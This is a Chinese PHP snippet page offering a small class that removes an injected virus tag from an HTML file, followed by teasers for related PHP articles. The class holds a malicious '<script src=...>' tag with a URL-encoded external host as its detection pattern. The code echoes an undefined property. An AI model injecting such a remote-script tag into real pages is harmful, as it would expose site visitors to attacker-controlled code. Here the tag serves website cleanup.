php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP防范SQL注入的具体方法详解(测试通过)

一个优秀的PHP程序员除了要能顺利的编写代码,还需要具备使程序处于安全环境下的能力。今天我们要向大家讲解的是有关PHP防范SQL注入的相关方法。 说到网站安全就不得不提到SQL注入(SQ...

PHP截取汉字乱码问题解决方法mb_substr函数的应用

首先 1.确保你的Windows/system32下有php_mbstring.dll这个文件,没有就从你Php安装目录extensions里拷入Windows/system32里面。...

php获得当前的脚本网址

//获得当前的脚本网址 function GetCurUrl(){     if(!empty($_SERVER["REQUEST_...

PHP关联数组的10个操作技巧

什么是数组? 在使用 PHP 进行开发的过程中,或早或晚,您会需要创建许多相似的变量。 无需很多相似的变量,你可以把数据作为元素存储在数组中。 数组中的元素都有自己的 ID,因此可以方便...

Php Image Resize图片大小调整的函数代码

复制代码 代码如下: function my_image_resize($src_file, $dst_file, $dst_width=32, $dst_height=32) { if...